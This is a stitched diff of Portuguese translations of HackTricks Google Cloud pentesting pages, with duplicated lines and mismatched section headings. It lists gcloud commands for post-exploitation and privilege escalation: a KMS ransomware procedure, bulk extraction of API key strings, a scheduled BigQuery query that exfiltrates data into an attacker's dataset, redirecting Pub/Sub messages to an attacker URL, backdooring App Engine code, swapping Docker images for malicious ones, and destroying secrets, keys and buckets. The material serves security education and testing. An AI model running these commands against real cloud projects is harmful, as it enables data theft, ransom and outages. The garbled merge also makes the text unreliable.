Para **conceder** o papel primitivo de **Owner** a uma conta genérica "@gmail.com", porém, você precisará **usar o console web**. `gcloud` retornará erro se você tentar conceder uma permissão acima de Editor.
Para **conceder** o papel primitivo de **Owner** a uma conta genérica "@gmail.com", entretanto, você precisará **usar o console web**. `gcloud` retornará um erro se você tentar conceder uma permissão acima de Editor.
Você pode usar o seguinte comando para **conceder a um usuário o papel primitivo de Editor** no seu projeto existente:
<details>
<summary>Conceder papel Editor ao usuário</summary>
Você pode usar o seguinte comando para **conceder a um usuário o papel primitivo de Editor** ao seu projeto existente:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
Se você teve sucesso aqui, tente **acessar a interface web** e explorá-la a partir daí.
Se você teve sucesso aqui, tente **acessar a interface web** e explorar a partir dela.
Este é o **nível mais alto que você pode atribuir usando a ferramenta gcloud**.
### Excluir componentes do IAM `iam.*.delete`
As permissões `iam.*.delete` (por exemplo, `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) permitem que uma identidade exclua componentes críticos do IAM, como funções personalizadas, bindings de API key, chaves de service account e as próprias service accounts. Nas mãos de um atacante, isso possibilita remover mecanismos legítimos de acesso para causar uma negação de serviço.
Para realizar tal ataque, é possível, por exemplo, excluir funções usando:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
As permissões `iam.serviceAccountKeys.disable` e `iam.serviceAccounts.disable` permitem desativar chaves ativas de contas de serviço ou as próprias contas de serviço, o que, nas mãos de um atacante, pode ser usado para interromper operações, causar negação de serviço ou dificultar a resposta a incidentes ao impedir o uso de credenciais legítimas.
Para desativar uma conta de serviço, você pode usar o seguinte comando:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Para desabilitar as chaves de um Service Account, você pode usar o seguinte comando:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
As permissões `iam.*.undelete` permitem restaurar elementos anteriormente excluídos, como vínculos de chaves de API, funções personalizadas ou contas de serviço. Nas mãos de um atacante, isso pode ser usado para reverter ações defensivas (recuperar acessos removidos), restabelecer vetores de comprometimento excluídos para manter persistência ou contornar esforços de remediação, complicando a contenção do incidente.
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## KMS
Encontre informações básicas sobre o KMS em:
Encontre informações básicas sobre KMS em:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ Encontre informações básicas sobre o KMS em:
### `cloudkms.cryptoKeyVersions.destroy`
Um attacker com essa permissão poderia destruir uma versão da key do KMS. Para isso, primeiro é preciso desabilitar a key e depois destruí-la:
Um atacante com essa permissão poderia destruir uma versão de chave do KMS. Para fazer isso, primeiro você precisa desabilitar a chave e então destruí-la:
<details>
<summary>Desabilitar e destruir versão da key (Python)</summary>
<summary>Desabilitar e destruir a versão da chave (Python)</summary>
```python
# pip install google-cloud-kms
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
No AWS é possível completamente **steal a KMS key** modificando a KMS resource policy e permitindo que apenas a conta do atacante use a key. Como essas resource policies não existem no GCP, isso não é possível.
No AWS é possível roubar completamente uma KMS key modificando a KMS resource policy e permitindo que apenas a conta do atacante use a chave. Como essas resource policies não existem no GCP, isso não é possível.
No entanto, existe outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
- Criar uma nova **version of the key with a key material** importada pelo atacante
- Criar uma nova **versão da chave com um key material** importado pelo atacante
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Defina como **versão padrão** (para dados futuros que serão criptografados)
- **Re-encrypt older data**: recriptografar os dados antigos que foram criptografados com a versão anterior usando a nova.
- **Delete the KMS key**
- Agora somente o attacker, que possui o material de chave original, poderá descriptografar os dados criptografados
- Defina-a como **versão padrão** (para dados futuros que serão encriptados)
- **Reencriptar dados antigos** encriptados com a versão anterior usando a nova.
- **Excluir a KMS key**
- Agora apenas o atacante, que possui o key material original, poderá descriptografar os dados encriptados
#### Aqui estão os passos para importar uma nova versão e desabilitar/excluir os dados antigos:
#### Aqui estão os passos para importar uma nova versão e desativar/excluir os dados antigos:
<details>
<summary>Import new key version and delete old version</summary>
<summary>Importar nova versão da key e excluir versão antiga</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
A permissão `cloudkms.cryptoKeyVersions.restore` permite que uma identidade restaure uma versão de chave que foi anteriormente agendada para destruição ou desativada no Cloud KMS, tornando-a ativa e utilizável.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
A permissão `cloudkms.cryptoKeyVersions.update` permite que uma identidade modifique os atributos ou o estado de uma versão específica de chave no Cloud KMS, por exemplo, habilitando-a ou desabilitando-a.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações sobre Pub/Sub, consulte a seguinte página:
### `pubsub.topics.publish`
Publica uma mensagem em um tópico, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou explorar vulnerabilidades:
Publica uma mensagem em um tópico, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou exploit vulnerabilities:
<details>
@@ -29,7 +29,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
<details>
<summary>Desvincular subscription do topic</summary>
<summary>Desanexar a subscription do topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.\
É possível excluir um topic mesmo com subscriptions anexadas a ele.
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.\
É possível excluir um tópico mesmo com assinaturas anexadas a ele.
<details>
<summary>Excluir topic</summary>
<summary>Excluir tópico</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Use esta permissão para atualizar alguma configuração do tópico para interrompê-lo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Use esta permissão para atualizar alguma configuração do tópico para perturbá-lo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Conceda a si mesmo permissão para executar qualquer um dos ataques anteriores.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Recupere todas as mensagens em um servidor web:
Obter todas as mensagens em um servidor web:
<details>
@@ -69,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
```
</details>
Crie uma subscription e use-a para **pull messages**:
Crie uma subscription e use-a para recuperar mensagens (pull):
<details>
<summary>Criar pull subscription e recuperar mensagens</summary>
<summary>Criar uma subscription pull e recuperar mensagens</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**Excluir uma subscription** pode ser útil para interromper um sistema de processamento de logs ou algo semelhante:
**Excluir uma assinatura** pode ser útil para interromper um sistema de processamento de logs ou algo similar:
<details>
<summary>Excluir subscription</summary>
<summary>Excluir assinatura</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Use esta permissão para atualizar alguma configuração de modo que as mensagens sejam armazenadas em um local ao qual você tenha acesso (URL, Big Query table, Bucket) ou apenas para causar interrupção.
Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um lugar que você possa acessar (URL, Big Query table, Bucket) ou apenas para causar uma interrupção.
<details>
<summary>Atualizar subscription endpoint</summary>
<summary>Endpoint de atualização da subscription</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente.
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques mencionados anteriormente.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Anexe um schema a um tópico para que as mensagens não o cumpram e, portanto, o tópico seja interrompido.\
Se não houver nenhum schema, pode ser necessário criar um.
Ataque um schema a um tópico de modo que as mensagens não o satisfaçam e, portanto, o tópico seja interrompido.\
Se não houver schemas, pode ser necessário criar um.
<details>
<summary>Criar arquivo de schema e anexar ao tópico</summary>
<summary>Criar arquivo de schema e anexá-lo ao tópico</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Isso pode parecer que, ao deletar um schema, você conseguirá enviar mensagens que não cumprem o schema. Porém, como o schema será deletado, nenhuma mensagem entrará realmente no topic. Então isto é **INÚTIL**:
Pode parecer que, ao deletar um schema, você poderá enviar mensagens que não cumprem o schema. No entanto, como o schema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isto é **INÚTIL**:
<details>
<summary>Delete schema (não útil)</summary>
<summary>Deletar schema (inútil)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -164,11 +190,11 @@ Conceda a si mesmo as permissões necessárias para executar qualquer um dos ata
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta na assinatura. Não é muito útil para um atacante, mas aqui está:
Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta na subscription. Não é muito útil para um atacante, mas aqui está:
<details>
<summary>Criar snapshot e seek para ele</summary>
<summary>Criar snapshot e fazer seek nele</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME

View File

@@ -1,10 +1,10 @@
# GCP - Secretmanager Post Exploitation
# GCP - Secretmanager Pós-Exploração
{{#include ../../../banners/hacktricks-training.md}}
## Secretmanager
Para mais informações sobre Secret Manager, consulte:
Para mais informações sobre o Secret Manager, consulte:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,7 +12,7 @@ Para mais informações sobre Secret Manager, consulte:
### `secretmanager.versions.access`
Isso acesso para ler os segredos do Secret Manager e, possivelmente, pode ajudar a escalar privilégios (dependendo de quais informações estão armazenadas dentro do segredo):
Isso fornece acesso para ler os segredos do Secret Manager e talvez isso possa ajudar a escalar privilégios (dependendo de quais informações estejam armazenadas dentro do segredo):
<details>
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
A permissão `secretmanager.versions.destroy` permite que uma identidade destrua permanentemente (marque como excluída de forma irreversível) uma versão específica de um segredo no Secret Manager, o que pode possibilitar a remoção de credenciais críticas e potencialmente causar negação de serviço ou impedir a recuperação de dados sensíveis.
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
A permissão `secretmanager.versions.disable` permite que uma identidade desative versões ativas de segredos no Secret Manager, bloqueando temporariamente seu uso por aplicações ou serviços que delas dependam.
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
O conjunto de permissões `secretmanager.secrets.delete` permite que uma identidade exclua completamente um secret e todas as suas versões armazenadas no Secret Manager.
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
A permissão `secretmanager.secrets.update` permite que uma identidade modifique os metadados e a configuração de um secret (por exemplo, rotation settings, version policy, labels e certas propriedades do secret).
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Pós-exploração de Storage
# GCP - Storage Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Storage
Para mais informações sobre Cloud Storage, confira esta página:
For more information about CLoud Storage check this page:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,11 +12,7 @@ Para mais informações sobre Cloud Storage, confira esta página:
### Conceder Acesso Público
É possível conceder a usuários externos (logados no GCP ou não) acesso ao conteúdo dos buckets. No entanto, por padrão o bucket terá desabilitada a opção de expor publicamente um bucket:
<details>
<summary>Tornar bucket/objects públicos</summary>
É possível conceder a usuários externos (logados no GCP ou não) acesso ao conteúdo de buckets. No entanto, por padrão a opção para expor publicamente um bucket estará desativada:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
Se você tentar conceder **ACLs a um bucket com ACLs desativadas** você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Se você tentar atribuir **ACLs a um bucket com ACLs desativadas** você encontrará este erro: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Para acessar buckets abertos via navegador, acesse a URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
Para acessar buckets abertos pelo navegador, acesse a URL `https://<bucket_name>.storage.googleapis.com/` ou `https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
Para excluir um objeto:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
Para excluir um bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Desativar chaves HMAC
A permissão `storage.hmacKeys.update` permite desativar chaves HMAC, e a permissão `storage.hmacKeys.delete` permite que uma identidade exclua chaves HMAC associadas a contas de serviço no Cloud Storage.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
A permissão `storage.buckets.setIpFilter`, juntamente com a permissão `storage.buckets.update`, permite que uma identidade configure filtros de endereço IP em um bucket do Cloud Storage, especificando quais intervalos ou endereços IP estão autorizados a acessar os recursos do bucket.
Para limpar completamente o filtro de IP, o seguinte comando pode ser usado:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Para alterar os IPs filtrados, o seguinte comando pode ser usado:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
O arquivo JSON representa o próprio filtro, algo como:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
Restaurar um bucket usando:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
As permissões a seguir são úteis para criar e roubar API keys, observe isto na documentação: _Uma API key é uma string simples criptografada que **identifica uma aplicação sem qualquer principal**. Elas são úteis para acessar **dados públicos anonimamente**, e são usadas para **associar** requisições de API ao seu projeto para cota e **faturamento**._
Portanto, com uma API key você pode fazer com que a empresa pague pelo seu uso da API, mas você não poderá escalar privilégios.
For more information about API Keys check:
Para mais informações sobre App Engine, consulte:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
For other ways to create API keys check:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Essas são as permissões necessárias para **implantar um App usando `gcloud` cli**. Talvez as permissões **`get`** e **`list`** possam ser **evitadas**.
Você pode encontrar exemplos de código em Python em [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Por padrão, o nome do serviço App será **`default`**, e só pode haver 1 instância com o mesmo nome.\
Para alterá-lo e criar um segundo App, em **`app.yaml`**, altere o valor da chave raiz para algo como **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Dê pelo menos 1015 minutos; se não funcionar, tente **deploy novamente** e aguarde alguns minutos.
> [!NOTE]
> É **possível indicar o Service Account a ser usado** mas por padrão, o App Engine default SA é usado.
A URL da aplicação é algo como `https://<proj-name>.oa.r.appspot.com/` ou `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Atualizar permissões equivalentes
Você pode ter permissões suficientes para atualizar um AppEngine mas não para criar um novo. Nesse caso, é assim que você poderia atualizar o App Engine atual:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Se você já comprometeu um AppEngine e tem a permissão **`appengine.applications.update`** e **actAs** sobre a conta de serviço a ser usada, você pode modificar a conta de serviço usada pelo AppEngine com:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Com essas permissões, é possível **fazer login via ssh em instâncias do App Engine** do tipo **flexível** (não padrão). Algumas das permissões **`list`** e **`get`** **podem não ser realmente necessárias**.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Acho que isso apenas altera a SA em segundo plano que o google usará para configurar as aplicações, então não creio que seja possível abusar disso para roubar a service account.
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Não tenho certeza de como usar essas permissões ou se são úteis (note que quando você altera o código uma nova versão é criada, então não sei se você pode apenas atualizar o código ou o IAM role de uma, mas acho que deveria ser possível, talvez mudando o código dentro do bucket??).
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
Para remover tables, dataset ou models:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Abuso de Scheduled Queries
Com as permissões `bigquery.datasets.get`, `bigquery.jobs.create` e `iam.serviceAccounts.actAs`, uma identidade pode consultar metadados de datasets, iniciar jobs do BigQuery e executá-los usando um Service Account com privilégios mais elevados.
Esse ataque permite o uso malicioso de Scheduled Queries para automatizar consultas (executadas sob o Service Account escolhido), que podem, por exemplo, levar à leitura de dados sensíveis e à escrita desses dados em outra tabela ou dataset ao qual o atacante tem acesso — facilitando exfiltração indireta e contínua sem precisar extrair os dados externamente.
Uma vez que o atacante saiba qual Service Account possui as permissões necessárias para executar a consulta desejada, ele pode criar uma configuração de Scheduled Query que rode usando esse Service Account e periodicamente grave os resultados em um dataset de sua escolha.
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### Acesso de escrita sobre os buckets
Como mencionado, as versões do App Engine geram alguns dados dentro de um bucket com o formato de nome: `staging.<project-id>.appspot.com`. Note que não é possível pré-tomar esse bucket porque os usuários do GCP não estão autorizados a gerar buckets usando o domínio `appspot.com`.
No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para a SA associada à versão do App Engine monitorando o bucket e, sempre que uma mudança for realizada, modificar o código o mais rápido possível. Dessa forma, o container que é criado a partir desse código irá **execute the backdoored code**.
Para mais informações e uma **PoC**, consulte as informações relevantes nesta página:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Acesso de escrita no Artifact Registry
Como você pode não saber quais APIs estão ativadas no projeto ou as restrições aplicadas à API key que encontrou, seria interessante executar a ferramenta [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e verificar **o que você pode acessar com a API key.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
This permission allows to **create an API key**:
<details>
<summary>Create an API key using gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
Você pode encontrar um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Observe que, por padrão, os usuários têm permissões para criar novos projetos e recebem o papel Owner sobre o novo projeto. Portanto, um usuário poderia **criar um projeto e uma chave de API dentro desse projeto**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Essas permissões permitem **listar e obter todas as chaves de API e recuperar a chave**:
<details>
<summary>Listar e recuperar todas as chaves de API</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
Você pode encontrar um script para automatizar a [**criação, exploit e limpeza de um vuln environment aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Essas permissões permitem que você **liste e regenere api keys deletadas**. A **API key é exibida na saída** após o **undelete** ser executado:
<details>
<summary>Listar e undelete API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### Criar Aplicação OAuth Interna para phish outros colaboradores
Consulte a página a seguir para aprender como fazer isso, embora esta ação pertença ao serviço **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
Embora o App Engine crie imagens docker dentro do Artifact Registry, foi testado que **mesmo se você modificar a imagem dentro desse serviço** e remover a instância do App Engine (fazendo com que uma nova seja implantada), o **código executado não muda**.\
Pode ser possível que, realizando um **Race Condition attack** semelhante ao dos buckets, seja possível sobrescrever o código executado, mas isso não foi testado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,10 +12,10 @@ Para mais informações sobre Artifact Registry, veja:
### artifactregistry.repositories.uploadArtifacts
Com essa permissão um atacante poderia fazer upload de novas versões dos artefatos com código malicioso, como imagens Docker:
Com essa permissão um attacker poderia fazer upload de novas versões dos artefatos contendo código malicioso, como Docker images:
<details>
<summary>Upload Docker image to Artifact Registry</summary>
<summary>Fazer upload de Docker image para Artifact Registry</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -29,7 +29,7 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> Foi verificado que é **possível fazer upload de uma nova imagem docker maliciosa** com o mesmo nome e tag que a já presente, então a **imagem antiga perderá a tag** e, da próxima vez que essa imagem com essa tag for **baixada**, a maliciosa será obtida.
> Foi verificado que é **possível enviar uma nova imagem docker maliciosa** com o mesmo nome e tag da que já está presente, então a **antiga perderá a tag** e, da próxima vez que a imagem com essa tag for **baixada a maliciosa será baixada**.
<details>
@@ -37,11 +37,11 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
**Comece criando a biblioteca a ser enviada** (se você conseguir baixar a versão mais recente do registry pode evitar este passo):
1. **Configure a estrutura do seu projeto**:
1. **Configure a estrutura do projeto**:
- Crie um novo diretório para sua biblioteca, por exemplo, `hello_world_library`.
- Dentro desse diretório, crie outro diretório com o nome do seu pacote, por exemplo, `hello_world`.
- Dentro do diretório do pacote, crie um arquivo `__init__.py`. Esse arquivo pode ficar vazio ou conter inicializações para o seu pacote.
- Dentro do diretório do pacote, crie um arquivo `__init__.py`. Este arquivo pode ficar vazio ou conter inicializações para seu pacote.
<details>
<summary>Criar estrutura do projeto</summary>
@@ -57,8 +57,8 @@ touch hello_world/__init__.py
2. **Escreva o código da sua biblioteca**:
- Dentro do diretório `hello_world`, crie um novo arquivo Python para o seu módulo, por exemplo, `greet.py`.
- Escreva a função "Hello, World!":
- Dentro do diretório `hello_world`, crie um novo arquivo Python para seu módulo, por exemplo, `greet.py`.
- Escreva sua função "Hello, World!":
<details>
<summary>Criar módulo da biblioteca</summary>
@@ -74,7 +74,7 @@ return "Hello, World!"
3. **Crie um arquivo `setup.py`**:
- Na raiz do diretório `hello_world_library`, crie um arquivo `setup.py`.
- Esse arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
- Este arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
<details>
<summary>Criar arquivo setup.py</summary>
@@ -111,20 +111,20 @@ python3 setup.py sdist bdist_wheel
</details>
2. **Configure a autenticação para o twine** (usado para enviar seu pacote):
